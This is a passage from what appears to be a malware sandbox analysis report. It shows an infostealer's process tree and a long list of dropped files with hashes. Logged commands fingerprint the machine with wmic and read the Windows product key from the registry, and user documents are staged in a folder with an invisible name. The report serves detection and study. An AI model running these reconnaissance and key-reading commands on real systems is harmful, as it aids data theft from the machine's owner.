                                                                            wmic os get Caption
                                                                            4⤵
                                                                              PID:1488
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                            3⤵
                                                                              PID:4152
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic computersystem get totalphysicalmemory
                                                                                4⤵
                                                                                  PID:4928
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                3⤵
                                                                                  PID:956
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic csproduct get uuid
                                                                                    4⤵
                                                                                      PID:1672
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                    3⤵
                                                                                      PID:1360
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        PID:1984
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                      3⤵
                                                                                        PID:4824
                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                          wmic path win32_VideoController get name
                                                                                          4⤵
                                                                                          • Detects videocard installed
                                                                                          PID:4200
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                        3⤵
                                                                                          PID:2884
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                            4⤵
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:4272

                                                                                    Network

                                                                                    MITRE ATT&CK Enterprise v15

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                      Filesize

                                                                                      2KB

                                                                                      MD5

                                                                                      627073ee3ca9676911bee35548eff2b8

                                                                                      SHA1

                                                                                      4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                                      SHA256

                                                                                      85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                                      SHA512

                                                                                      3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                      Filesize

                                                                                      944B

                                                                                      MD5

                                                                                      6903d57eed54e89b68ebb957928d1b99

                                                                                      SHA1

                                                                                      fade011fbf2e4bc044d41e380cf70bd6a9f73212

                                                                                      SHA256

                                                                                      36cbb00b016c9f97645fb628ef72b524dfbdf6e08d626e5c837bbbb9075dcb52

                                                                                      SHA512

                                                                                      c192ea9810fd22de8378269235c1035aa1fe1975a53c876fe4a7acc726c020f94773c21e4e4771133f9fcedb0209f0a5324c594c1db5b28fe1b27644db4fdc9e

                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                      Filesize

                                                                                      944B

                                                                                      MD5

                                                                                      34004b336012aa3f104ebc47b059b844

                                                                                      SHA1

                                                                                      1ba3e892d5a8b7485a8a6920db70db0906bce539

                                                                                      SHA256

                                                                                      07af03ede93982d21edd3971f99e3b3047475e73c53ba9dfe79405c98a27cb0a

                                                                                      SHA512

                                                                                      7b0e97fb8274c5a41babdfa7c3845a7671f4e5237ef07417b32d55da4f93e80df5ae3ae324b571244363aeab46170c01c9c595a9ee8d69563df3d759d5a0fc51

                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                      Filesize

                                                                                      1KB

                                                                                      MD5

                                                                                      d79432afd37e2d487468227fdf59e11f

                                                                                      SHA1

                                                                                      bfa2bdf156e9a7eafb9035217b00bbc7c1212625

                                                                                      SHA256

                                                                                      3334e26dd1a753b9713d52f2e3f359b655e4524f9c4c804c892e1ea32c9d94a6

                                                                                      SHA512

                                                                                      5fdf6186159584e1fc3b360b61fd68f21a1e5daea68b7272a35aeacb34bae76f47cd4b9727767a1606c4d88d806a013e7e952faae3676dc6c5e5bccf1091b40f

                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                      Filesize

                                                                                      1KB

                                                                                      MD5

                                                                                      57083a8e45ebe4fd84c7c0f137ec3e21

                                                                                      SHA1

                                                                                      857b5ea57f7bcf03cadee122106c6e58792a9b84

                                                                                      SHA256

                                                                                      f20102c4dc409cad3cdaf7a330c3a18a730a9d7d902b9fbee2a84186cba93d40

                                                                                      SHA512

                                                                                      4bbc21c07c05ee1f783242f0fb59324d5ff9ae18bdf892f02980d582fed83380888eeba58e1a6a321507cfd5d4fe82a328a0d3482b29633be4e3ebbeac636f87

                                                                                    • C:\Users\Admin\AppData\Local\Temp\RESC90D.tmp

                                                                                      Filesize

                                                                                      1KB

                                                                                      MD5

                                                                                      f582153692a8e446a12c6ccfb9a5dbf7

                                                                                      SHA1

                                                                                      48ffbfeb151be7506ad7b35ecfba8479a6559f86

                                                                                      SHA256

                                                                                      4a2b788b6218c6a709f928b4a67cd696c88bf5480b28ef4ce595ef497feb8d68

                                                                                      SHA512

                                                                                      d0ecfeb8e76cf4fabbc51ffecaeeb621b5e69f2f9eacbaf23e55e2692e49b435b52574bbbece0d139d55684b114f58b5e7c49d8f1718377acc4e5ed89b4c57f0

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\VCRUNTIME140.dll

                                                                                      Filesize

                                                                                      117KB

                                                                                      MD5

                                                                                      862f820c3251e4ca6fc0ac00e4092239

                                                                                      SHA1

                                                                                      ef96d84b253041b090c243594f90938e9a487a9a

                                                                                      SHA256

                                                                                      36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

                                                                                      SHA512

                                                                                      2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_bz2.pyd

                                                                                      Filesize

                                                                                      48KB

                                                                                      MD5

                                                                                      58fc4c56f7f400de210e98ccb8fdc4b2

                                                                                      SHA1

                                                                                      12cb7ec39f3af0947000295f4b50cbd6e7436554

                                                                                      SHA256

                                                                                      dfc195ebb59dc5e365efd3853d72897b8838497e15c0977b6edb1eb347f13150

                                                                                      SHA512

                                                                                      ad0c6a9a5ca719d244117984a06cce8e59ed122855e4595df242df18509752429389c3a44a8ba0abc817d61e37f64638ccbdffc17238d4c38d2364f0a10e6bc7

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_ctypes.pyd

                                                                                      Filesize

                                                                                      62KB

                                                                                      MD5

                                                                                      79879c679a12fac03f472463bb8ceff7

                                                                                      SHA1

                                                                                      b530763123bd2c537313e5e41477b0adc0df3099

                                                                                      SHA256

                                                                                      8d1a21192112e13913cb77708c105034c5f251d64517017975af8e0c4999eba3

                                                                                      SHA512

                                                                                      ca19ddaefc9ab7c868dd82008a79ea457acd71722fec21c2371d51dcfdb99738e79eff9b1913a306dbedacb0540ca84a2ec31dc2267c7b559b6a98b390c5f3a7

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_decimal.pyd

                                                                                      Filesize

                                                                                      117KB

                                                                                      MD5

                                                                                      21d27c95493c701dff0206ff5f03941d

                                                                                      SHA1

                                                                                      f1f124d4b0e3092d28ba4ea4fe8cf601d5bd8600

                                                                                      SHA256

                                                                                      38ec7a3c2f368ffeb94524d7c66250c0d2dafe58121e93e54b17c114058ea877

                                                                                      SHA512

                                                                                      a5fbda904024cd097a86d6926e0d593b0f7e69e32df347a49677818c2f4cd7dc83e2bab7c2507428328248bd2f54b00f7b2a077c8a0aad2224071f8221cb9457

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_hashlib.pyd

                                                                                      Filesize

                                                                                      35KB

                                                                                      MD5

                                                                                      d6f123c4453230743adcc06211236bc0

                                                                                      SHA1

                                                                                      9f9ade18ac3e12bcc09757a3c4b5ee74cf5e794e

                                                                                      SHA256

                                                                                      7a904fa6618157c34e24aaac33fdf84035215d82c08eec6983c165a49d785dc9

                                                                                      SHA512

                                                                                      f5575d18a51207b4e9df5bb95277d4d03e3bb950c0e7b6c3dd2288645e26e1de8edcf634311c21a6bdc8c3378a71b531f840b8262db708726d36d15cb6d02441

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_lzma.pyd

                                                                                      Filesize

                                                                                      86KB

                                                                                      MD5

                                                                                      055eb9d91c42bb228a72bf5b7b77c0c8

                                                                                      SHA1

                                                                                      5659b4a819455cf024755a493db0952e1979a9cf

                                                                                      SHA256

                                                                                      de342275a648207bef9b9662c9829af222b160975ad8925cc5612cd0f182414e

                                                                                      SHA512

                                                                                      c5cba050f4b805a299f5d04ec0dce9b718a16bc335cac17f23e96519da0b9eaaf25ae0e9b29ef3dc56603bfe8317cdc1a67ee6464d84a562cf04bea52c31cfac

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_queue.pyd

                                                                                      Filesize

                                                                                      26KB

                                                                                      MD5

                                                                                      513dce65c09b3abc516687f99a6971d8

                                                                                      SHA1

                                                                                      8f744c6f79a23aa380d9e6289cb4504b0e69fe3b

                                                                                      SHA256

                                                                                      d4be41574c3e17792a25793e6f5bf171baeeb4255c08cb6a5cd7705a91e896fc

                                                                                      SHA512

                                                                                      621f9670541cac5684892ec92378c46ff5e1a3d065d2e081d27277f1e83d6c60510c46cab333c6ed0ff81a25a1bdc0046c7001d14b3f885e25019f9cdd550ed0

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_socket.pyd

                                                                                      Filesize

                                                                                      44KB

                                                                                      MD5

                                                                                      14392d71dfe6d6bdc3ebcdbde3c4049c

                                                                                      SHA1

                                                                                      622479981e1bbc7dd13c1a852ae6b2b2aebea4d7

                                                                                      SHA256

                                                                                      a1e39e2386634069070903e2d9c2b51a42cb0d59c20b7be50ef95c89c268deb2

                                                                                      SHA512

                                                                                      0f6359f0adc99efad5a9833f2148b066b2c4baf564ba16090e04e2b4e3a380d6aff4c9e7aeaa2ba247f020f7bd97635fcdfe4e3b11a31c9c6ea64a4142333424

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_sqlite3.pyd

                                                                                      Filesize

                                                                                      58KB

                                                                                      MD5

                                                                                      8cd40257514a16060d5d882788855b55

                                                                                      SHA1

                                                                                      1fd1ed3e84869897a1fad9770faf1058ab17ccb9

                                                                                      SHA256

                                                                                      7d53df36ee9da2df36c2676cfaea84ee87e7e2a15ad8123f6abb48717c3bc891

                                                                                      SHA512

                                                                                      a700c3ce95ce1b3fd65a9f335c7c778643b2f7140920fe7ebf5d9be1089ba04d6c298bf28427ca774fbf412d7f9b77f45708a8a0729437f136232e72d6231c34

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\_ssl.pyd

                                                                                      Filesize

                                                                                      66KB

                                                                                      MD5

                                                                                      7ef27cd65635dfba6076771b46c1b99f

                                                                                      SHA1

                                                                                      14cb35ce2898ed4e871703e3b882a057242c5d05

                                                                                      SHA256

                                                                                      6ef0ef892dc9ad68874e2743af7985590bb071e8afe3bbf8e716f3f4b10f19b4

                                                                                      SHA512

                                                                                      ac64a19d610448badfd784a55f3129d138e3b697cf2163d5ea5910d06a86d0ea48727485d97edba3c395407e2ccf8868e45dd6d69533405b606e5d9b41baadc0

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\base_library.zip

                                                                                      Filesize

                                                                                      1.3MB

                                                                                      MD5

                                                                                      a9cbd0455b46c7d14194d1f18ca8719e

                                                                                      SHA1

                                                                                      e1b0c30bccd9583949c247854f617ac8a14cbac7

                                                                                      SHA256

                                                                                      df6c19637d239bfedc8cd13d20e0938c65e8fdf340622ff334db533f2d30fa19

                                                                                      SHA512

                                                                                      b92468e71490a8800e51410df7068dd8099e78c79a95666ecf274a9e9206359f049490b8f60b96081fafd872ec717e67020364bcfa972f26f0d77a959637e528

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\blank.aes

                                                                                      Filesize

                                                                                      110KB

                                                                                      MD5

                                                                                      5dc280c0fca488a2a39b9d450c9d7678

                                                                                      SHA1

                                                                                      26949a65e9c0f20166856ff0e46154b44e2c2045

                                                                                      SHA256

                                                                                      5340ea2c07683d50672ac134ebe2ea9b16744a6ca27761be19b65ce4c1e7f1ac

                                                                                      SHA512

                                                                                      c8cd7bf010a9c362811cc6fed0b191f4002af89e118dee411adf2a6a6a123b6128eb83ba3379b0cdac0ce375cfe425237f6b7ff626d275bd3ad5f22337f9d16a

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\libcrypto-3.dll

                                                                                      Filesize

                                                                                      1.6MB

                                                                                      MD5

                                                                                      8377fe5949527dd7be7b827cb1ffd324

                                                                                      SHA1

                                                                                      aa483a875cb06a86a371829372980d772fda2bf9

                                                                                      SHA256

                                                                                      88e8aa1c816e9f03a3b589c7028319ef456f72adb86c9ddca346258b6b30402d

                                                                                      SHA512

                                                                                      c59d0cbe8a1c64f2c18b5e2b1f49705d079a2259378a1f95f7a368415a2dc3116e0c3c731e9abfa626d12c02b9e0d72c98c1f91a359f5486133478144fa7f5f7

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\libffi-8.dll

                                                                                      Filesize

                                                                                      29KB

                                                                                      MD5

                                                                                      08b000c3d990bc018fcb91a1e175e06e

                                                                                      SHA1

                                                                                      bd0ce09bb3414d11c91316113c2becfff0862d0d

                                                                                      SHA256

                                                                                      135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

                                                                                      SHA512

                                                                                      8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\libssl-3.dll

                                                                                      Filesize

                                                                                      221KB

                                                                                      MD5

                                                                                      b2e766f5cf6f9d4dcbe8537bc5bded2f

                                                                                      SHA1

                                                                                      331269521ce1ab76799e69e9ae1c3b565a838574

                                                                                      SHA256

                                                                                      3cc6828e7047c6a7eff517aa434403ea42128c8595bf44126765b38200b87ce4

                                                                                      SHA512

                                                                                      5233c8230497aadb9393c3ee5049e4ab99766a68f82091fe32393ee980887ebd4503bf88847c462c40c3fc786f8d179dac5cb343b980944ade43bc6646f5ad5a

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\python313.dll

                                                                                      Filesize

                                                                                      1.8MB

                                                                                      MD5

                                                                                      6ef5d2f77064df6f2f47af7ee4d44f0f

                                                                                      SHA1

                                                                                      0003946454b107874aa31839d41edcda1c77b0af

                                                                                      SHA256

                                                                                      ab7c640f044d2eb7f4f0a4dfe5e719dfd9e5fcd769943233f5cece436870e367

                                                                                      SHA512

                                                                                      1662cc02635d63b8114b41d11ec30a2af4b0b60209196aac937c2a608588fee47c6e93163ea6bf958246c32759ac5c82a712ea3d690e796e2070ac0ff9104266

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\rar.exe

                                                                                      Filesize

                                                                                      615KB

                                                                                      MD5

                                                                                      9c223575ae5b9544bc3d69ac6364f75e

                                                                                      SHA1

                                                                                      8a1cb5ee02c742e937febc57609ac312247ba386

                                                                                      SHA256

                                                                                      90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                                                                                      SHA512

                                                                                      57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\rarreg.key

                                                                                      Filesize

                                                                                      456B

                                                                                      MD5

                                                                                      4531984cad7dacf24c086830068c4abe

                                                                                      SHA1

                                                                                      fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                                                                                      SHA256

                                                                                      58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                                                                                      SHA512

                                                                                      00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\select.pyd

                                                                                      Filesize

                                                                                      25KB

                                                                                      MD5

                                                                                      fb70aece725218d4cba9ba9bbb779ccc

                                                                                      SHA1

                                                                                      bb251c1756e5bf228c7b60daea1e3b6e3f9f0ff5

                                                                                      SHA256

                                                                                      9d440a1b8a6a43cfaa83b9bc5c66a9a341893a285e02d25a36c4781f289c8617

                                                                                      SHA512

                                                                                      63e6db638911966a86f423da8e539fc4ab7eb7b3fb76c30c16c582ce550f922ad78d1a77fa0605caffa524e480969659bf98176f19d5effd1fc143b1b13bbaaf

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\sqlite3.dll

                                                                                      Filesize

                                                                                      643KB

                                                                                      MD5

                                                                                      21aea45d065ecfa10ab8232f15ac78cf

                                                                                      SHA1

                                                                                      6a754eb690ff3c7648dae32e323b3b9589a07af2

                                                                                      SHA256

                                                                                      a1a694b201976ea57d4376ae673daa21deb91f1bf799303b3a0c58455d5126e7

                                                                                      SHA512

                                                                                      d5c9dc37b509a3eafa1e7e6d78a4c1e12b5925b5340b09bee06c174d967977264c9eb45f146abed1b1fc8aa7c48f1e0d70d25786ed46849f5e7cc1c5d07ac536

                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI46122\unicodedata.pyd

                                                                                      Filesize

                                                                                      260KB

                                                                                      MD5

                                                                                      b2712b0dd79a9dafe60aa80265aa24c3

                                                                                      SHA1

                                                                                      347e5ad4629af4884959258e3893fde92eb3c97e

                                                                                      SHA256

                                                                                      b271bd656e045c1d130f171980ed34032ac7a281b8b5b6ac88e57dce12e7727a

                                                                                      SHA512

                                                                                      4dc7bd1c148a470a3b17fa0b936e3f5f68429d83d552f80051b0b88818aa88efc3fe41a2342713b7f0f2d701a080fb9d8ac4ff9be5782a6a0e81bd759f030922

                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bzk0ssr0.fnv.ps1

                                                                                      Filesize

                                                                                      60B

                                                                                      MD5

                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                      SHA1

                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                      SHA256

                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                      SHA512

                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                    • C:\Users\Admin\AppData\Local\Temp\e2ujfjgy\e2ujfjgy.dll

                                                                                      Filesize

                                                                                      4KB

                                                                                      MD5

                                                                                      fa7ffe9b5cf66a9d82ad9f73d269d64e

                                                                                      SHA1

                                                                                      62acddf2d014cbe2a745ac4e0ca43b4632640dd7

                                                                                      SHA256

                                                                                      86c7f5b784435d55f1bca0a9ff1d79a9bed9c73310385927ed324d98385c48f9

                                                                                      SHA512

                                                                                      71f7e1802dae8cc869b09d539eabcf0d1e6e4df6d0208eabb3f35b8afbba43e08f401f104b3eb6a49a2154c82164e0014b2714e80f30f98f1627728e481f1c08

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Desktop\ConvertFromCheckpoint.xlsx

                                                                                      Filesize

                                                                                      11KB

                                                                                      MD5

                                                                                      33667d5832f211fc9f89c025075be10d

                                                                                      SHA1

                                                                                      57e722a430c9a90a49b3ba0930ec0e0ca6f545b0

                                                                                      SHA256

                                                                                      4582ce2dde88082a4c16e26d16e01efb1c2ab4da76bbd4e62534943f44af92a8

                                                                                      SHA512

                                                                                      cbf919d4e2f9cc8706176f1197334842390b4b6d6c0f710a88cdb0ad1e8434da3919b7551bb26108543918ca392afccb36424a960ba31b6adb6f3766f1a7826c

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Desktop\ExpandOut.docx

                                                                                      Filesize

                                                                                      155KB

                                                                                      MD5

                                                                                      2cc62cbbaede1c833b20da542feeb834

                                                                                      SHA1

                                                                                      53455bf48481f12a50819f93d6739c5a0863f98c

                                                                                      SHA256

                                                                                      9672e80ebe2cda2bc801f508eb721bb5af5fb7db5cd246500a8524b9aaf64d57

                                                                                      SHA512

                                                                                      24a7ec4edba95832604487c1a9024fd13379889fb1e6a7d7edbfa4f8d6412f29eb37dc37300b603f31b27d1166ac7e1cdd87ad0f7697f68daec9fe03fb020ae0

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Desktop\OutClose.xlsx

                                                                                      Filesize

                                                                                      12KB

                                                                                      MD5

                                                                                      fce05b298b3c29f764f5d7fbaa923f05

                                                                                      SHA1

                                                                                      e97ade98acf6f5d3c696f91e5f57d06e60f63d76

                                                                                      SHA256

                                                                                      770f09fe1f0c8c8e5dcacf3d3461a4ab37852a42bf713137c4653af2e8eb3a82

                                                                                      SHA512

                                                                                      f62b7221f3c51f700ce313ea2af5a6580b4534beb9fce5ebefba7f6357de79be1fca5142ef365ecd95477aabf70813230b0fed1ea2bb295276130e70b99c1a09

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Desktop\SwitchBackup.xlsx

                                                                                      Filesize

                                                                                      9KB

                                                                                      MD5

                                                                                      dd8ba955a9105ed224e68d29589d67bc

                                                                                      SHA1

                                                                                      53908301e6096bc6ae7cc678b7618fc36d3d2736

                                                                                      SHA256

                                                                                      ddc2d20023ee03fcd3c8999f407f08681b335af33b5644accd90305177e4115c

                                                                                      SHA512

                                                                                      51a25490b46c04ba3d7d648f1510e4c0fb9e9d4571c70a077ba4e97dd1b864818c69ca932898ef15e923aad8eb9bd4892f9a3eefb386375f1dd58a610f5fef3f

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Desktop\WatchOpen.xlsx

                                                                                      Filesize

                                                                                      9KB

                                                                                      MD5

                                                                                      42b4981e4d1417088d0bdf272c939fbe

                                                                                      SHA1

                                                                                      78df59935fd4d44a752a628037dfea3e55a092dc

                                                                                      SHA256

                                                                                      967c37382a7a7c2d89abfad11c4ec4d1bbbb941d6d9ea0c3d15dd64efb653f8d

                                                                                      SHA512

                                                                                      dea17163fecda8af2eb6d1f70dfa6d91d32588db141ab10de5e03014629c0a1a614283d95cf45bf377c1da6a7c9103454ae398d8ddea86afbecca73158598075

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Documents\ApproveGet.xlsx

                                                                                      Filesize

                                                                                      10KB

                                                                                      MD5

                                                                                      597394910e0c3db18cb246d30f7308e7

                                                                                      SHA1

                                                                                      4a487bec3ff97a6b04790ce5b5be84eed65db785

                                                                                      SHA256

                                                                                      552d064b42aa53365cd2a4f6b03101540142e7dc9c9440fea34d95890f50ca6f

                                                                                      SHA512

                                                                                      f24cd102aec2a23bf95257dc2b8f596beadf02d01b6cd7c1725d0889e6930006ee8a8f18c820392129d022e4fe5d5d710536da90d9c4cafd5472edbf78b96a77

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Documents\BackupExpand.pps

                                                                                      Filesize

                                                                                      1.3MB

                                                                                      MD5

                                                                                      a2b6c09bba31116c0fd83b015fc2fe2b

                                                                                      SHA1

                                                                                      044527f90962829bcda21e1a4ed722a765dd86d7

                                                                                      SHA256

                                                                                      532c28cba1aa6b82ae85c15d92f8b66761c18a0a590971fa3fc8859449081173

                                                                                      SHA512

                                                                                      923a2039bddbaa0f90507925c2c358f44533651e7bfc0644d2045212534bd030ba3ce18e78ec36cf5209869e838bf7a8b1332aac00b91a774cec86e2b8b3825c

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Documents\CompareEnable.docx

                                                                                      Filesize

                                                                                      15KB

                                                                                      MD5

                                                                                      e4d80682a140aa9119e67d25333c57f3

                                                                                      SHA1

                                                                                      b83f5747ef500ee82dc233e65aa2a15fb1dca465

                                                                                      SHA256

                                                                                      db843c5fd617026e06a5393762beb03252659385272e53ca45eb45cab7733820

                                                                                      SHA512

                                                                                      92b8f4cafd90fc0142aa6dbf24924dd5cb34e29d36a62f46330b2a5e583a56ca7151810dacc7252e9a5957167a008cda75993c398378b344d62a2acb070d0d36

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Documents\OpenDisable.xlsx

                                                                                      Filesize

                                                                                      427KB

                                                                                      MD5

                                                                                      54b0915241e73f4667237be204302af5

                                                                                      SHA1

                                                                                      6016f0f108885067b100252edc2e5c6508d19521

                                                                                      SHA256

                                                                                      3c42ff1a441c8b38ea98304139ddffce78548e4101a3244384b91887d97706ac

                                                                                      SHA512

                                                                                      4a491d53094739d5fa5a3181eea3291981784c42d2650befbf53f2afd5c2d590a48604dee7e97ada2a2e27e594f9da432d6ce87a7bfc60e7b51d5729f53ce752

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Documents\ResolveSuspend.docx

                                                                                      Filesize

                                                                                      17KB

                                                                                      MD5

                                                                                      a3b425f211e3da85da03d9632b7b32c0

                                                                                      SHA1

                                                                                      bb49c6d37b5afe1a12abbbe1d962a7df522ddd17

                                                                                      SHA256

                                                                                      c28a85ab7bc85eb97c2deb4af6c354fd037a874b0ab45c1d54a0b5bfa6fbe298

                                                                                      SHA512

                                                                                      a5e80ac7c68fb1afa6fcf5e492776fc2b3dc939315f2b1dee880e44611470496389ab993c2abe15ce09eb5e8351ac013ebd2f309bc9d982d3f3acc5bdd4d5cba

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Documents\SearchLock.doc

                                                                                      Filesize

                                                                                      570KB

                                                                                      MD5

                                                                                      49f13cfedfb524bbd0f105f849a09d57

                                                                                      SHA1

                                                                                      d5c9b4fbf2a511adc25b07cfdc8bfd026c566a31

                                                                                      SHA256

                                                                                      c6b2074713021d766314bcb73b5c9a061dd55b13873a0ffa697e68e7f604d6fd

                                                                                      SHA512

                                                                                      d5536e950e8c07daf4296cc89041ef82bd0841b882394a369f084fb37cb092d5d6df025f359980fd9fec831224edb782994fb5b30538512f51f76b3dfac6c0eb

                                                                                    • C:\Users\Admin\AppData\Local\Temp\ ‍ ‌‌‏    \Common Files\Documents\TestRevoke.txt

                                                                                      Filesize

                                                                                      835KB

                                                                                      MD5

                                                                                      1cbbd758224b75f65ca08fa0dac55923

                                                                                      SHA1

                                                                                      5506ac35c55577489e364e902cb89efd9b4e9234

                                                                                      SHA256

                                                                                      1d38f451c3d1a8c536c92fef600477afff7242655540b351c6004a29c89771e9

                                                                                      SHA512

                                                                                      365b2abbbe6ee393bf3a3269f2387bb0d1ff0e4aef1a613d81aadd9e44a0c138c1f1fb63cb4e88abec1d4c165b59634ac3083cdd5f3c3f75a7bbe6cb90ea0b32

                                                                                    • C:\Windows\System32\drivers\etc\hosts

                                                                                      Filesize

                                                                                      2KB

                                                                                      MD5

                                                                                      f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                      SHA1

                                                                                      e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                      SHA256

                                                                                      a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                      SHA512

                                                                                      c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\e2ujfjgy\CSCB61136A664484F308261CF5C8E82ADD9.TMP

                                                                                      Filesize

                                                                                      652B

                                                                                      MD5

                                                                                      7873742156ab78e5223389877dec0205

                                                                                      SHA1

                                                                                      327ea6eab7acb24ffa9ae27c2a7dc4fce965e57b

                                                                                      SHA256

                                                                                      0a722479369829043d0b2a3e7f99ffaba2cd9736efdef25b32356b702b77cab0

                                                                                      SHA512

                                                                                      30781b91cda088d5278ee4a96fab3cc5fb9d848caa0d2f51bd9e838fc89ad0eca7721347f168d1ebeb321fdfea61956459a45b2b9357a3262493bc18d4fce0e5

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\e2ujfjgy\e2ujfjgy.0.cs

                                                                                      Filesize

                                                                                      1004B

                                                                                      MD5

                                                                                      c76055a0388b713a1eabe16130684dc3

                                                                                      SHA1

